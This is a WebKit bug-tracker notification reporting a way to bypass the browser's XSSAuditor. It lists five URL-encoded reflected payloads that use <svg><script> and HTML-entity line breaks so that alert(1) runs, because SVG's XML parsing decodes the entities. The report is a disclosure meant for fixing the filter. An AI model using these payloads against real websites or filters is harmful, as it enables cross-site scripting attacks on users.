[Webkit-unassigned] [Bug 78836] New: XSSAuditor bypass with <svg> tags and html-entities.

[bugzilla-daemon at webkit.org]

https://bugs.webkit.org/show_bug.cgi?id=78836

           Summary: XSSAuditor bypass with <svg> tags and html-entities.
           Product: WebKit
           Version: 528+ (Nightly build)
          Platform: Unspecified
        OS/Version: Unspecified
            Status: NEW
          Severity: Normal
          Priority: P2
         Component: WebCore Misc.
        AssignedTo: webkit-unassigned at lists.webkit.org
        ReportedBy: tsepez at chromium.org
                CC: abarth at webkit.org, dbates at webkit.org


Originally reported by masatokinugawa at http://code.google.com/p/chromium/issues/detail?id=114641

Reflected vectors are of the form:

?xss=%3Csvg%3E%3Cscript%3E//%26%23x0A%3Balert(1)%3C/script%3E
?xss=%3Csvg%3E%3Cscript%3E//%26%23x0D%3Balert(1)%3C/script%3E
?xss=%3Csvg%3E%3Cscript%3E//%26%23x2028%3Balert(1)%3C/script%3E
?xss=%3Csvg%3E%3Cscript%3E//%26%23x2029%3Balert(1)%3C/script%3E
?xss=%3Csvg%3E%3Cscript%3E/**%26%23x2F%3Balert(1)%3C/script%3E

SVG is XML and hence the entities get decoded during parsing.

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